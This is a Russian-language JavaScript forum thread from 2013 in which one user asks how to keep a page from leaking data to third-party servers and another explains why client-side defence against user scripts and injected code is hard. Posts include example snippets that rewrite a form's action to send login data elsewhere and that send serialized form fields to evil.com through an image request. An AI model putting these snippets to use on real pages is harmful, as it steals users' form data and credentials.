Javascript-форум (https://javascript.ru/forum/)
-   jQuery (https://javascript.ru/forum/jquery/)
-   -   поиск элементов (https://javascript.ru/forum/jquery/36267-poisk-ehlementov.html)

BorisBritva 09.03.2013 19:08

поиск элементов
 
Как можно найти все элементы на странице, включая те, которые добавлены посредством js после ее загрузки, по их атрибутам.

href
action
src

Какие еще атрибуты есть, которые передают данные или подгружают, что либо на страницу?

Короче говоря, петруха такова.

Нужно запретить утечку данных со страницы.

Страница должна обмениваться данными только со своим сервером.


Спасибо.

danik.js 09.03.2013 20:17

Цитата:

Сообщение от BorisBritva
Нужно запретить утечку данных со страницы.

Вы не контроллируете подключаемые к странице ресурсы? Но при этом боитесь за "утечку"? Странно это... проясните?

BorisBritva 09.03.2013 20:28

Поясняю!

function work(){
document.getElementById('MyForm').setAttribute('action', 'http://site.ru/?pass=yryryyryr&login=lol');
document.getElementById('MyForm').submit();
}

window.onload = function(){work();}


Это js скрипт подгружается допустим в опере в разделе Инструменты/быстрые настройки/настройки для сайта/скрипты/папка пользовательских файлов JavaScript.

$(document).ready(function(){
$('form').submit(function(){
alert($(this).attr('action'));
return false;
});
});


А вот этот скрипт, который расположен непосредственно на странице не срабатывает когда форма отправляется тем криптом.


Плюс всегда есть вероятность внедрения кода также непосредственно в страницу.

header("X-Content-Security-Policy: 'none'");
непомогает!

danik.js 09.03.2013 21:17

Цитата:

Сообщение от BorisBritva
Поясняю!

И что это значит? Ну изменил пользователь страницу. И что? Вы ему страницу отдали, он что хочет, то и делает. Вы хотите запретить ему это делать? Повешайте тогда на сайте объявление:
Цитата:

На нашем сайте консолью браузера пользоваться ЗАПРЕЩЕНО!

BorisBritva 09.03.2013 21:23

Ну задачи есть разные.

Юзер может и не знать что у него осторонний скрипт работает. Нужно хотя бы лог вести об отправлении данных, и в случе чего предупредить его!

Если есть вероятность утечки данных, то она должна быть прекрыта!

Меня больше интересует, как отследить работу сторонних скриптов а не критика!

danik.js 09.03.2013 21:37

А как ты отследишь это:
<script>
    var image = new Image();
    image.src = 'http//evil.com/?' + $('form').serialize();
</script>

BorisBritva 09.03.2013 21:47

$('form').submit(function(){
alert($(this).serialize());
return false;
});


Вообще ничего не показывает :)
атрибут name не установлен. Однако это легко исправимо на стороннем скрипте.

Надо думать ;)

alert($('script').length);


Показывает количество скриптов, которые на странице по умолчанию. Тоже не катит.

Как можно узнать, что сторонний скрипт подключен?

danik.js 10.03.2013 05:36

Слушать изменения DOM через MutationObserver/MutationEvent ? Но это очень медленно. И что если скрипт будет впрыснут вперед твоих скриптов?
А если у пользователя стоит какое-нибудь расширение, которое подключает какой-нибудь безобидный скрипт к странице?

BorisBritva 10.03.2013 12:49

Цитата:

Сообщение от danik.js (Сообщение 239746)
Слушать изменения DOM через MutationObserver/MutationEvent ? Но это очень медленно. И что если скрипт будет впрыснут вперед твоих скриптов?

Пример можешь показать?

Если будет внедрен на страницу через тег script, то его можно отследить! На количество тегов script в DOM.

На счет того что, скрипт будет впрыснут вперед твоих скриптов, то на сколько я понимаю, когда через оперу подключается сторонний скрипт, так и происходит.

Но изменения DOM все равно происходят. Допустим при добавлении к форме атрибута action. По умолчанию таких атрибутов нет на странице.

danik.js 10.03.2013 13:01

Цитата:

Сообщение от BorisBritva
Если будет внедрен на страницу через тег script, то его можно отследить! На количество тегов script в DOM.

Цитата:

Сообщение от danik.js
А если у пользователя стоит какое-нибудь расширение, которое подключает какой-нибудь безобидный скрипт к странице?

А если скрипт будет впрыснут вперед твоего, выполнен и тег script будет удален еще до выполнения твоего скрипта? Затем "злой" скрипт, находящийся в памяти, будет "сливать" инфу без палева. Как ты это отследить собираешься?

А если у юзера стоит злой юзерскрипт, который хоть и работает с отдельном контексте, но все же имеет доступ к DOM-у, в том числе полям формы?

Объясни что и от чего ты хочешь защитить.


Часовой пояс GMT +3, время: 02:50.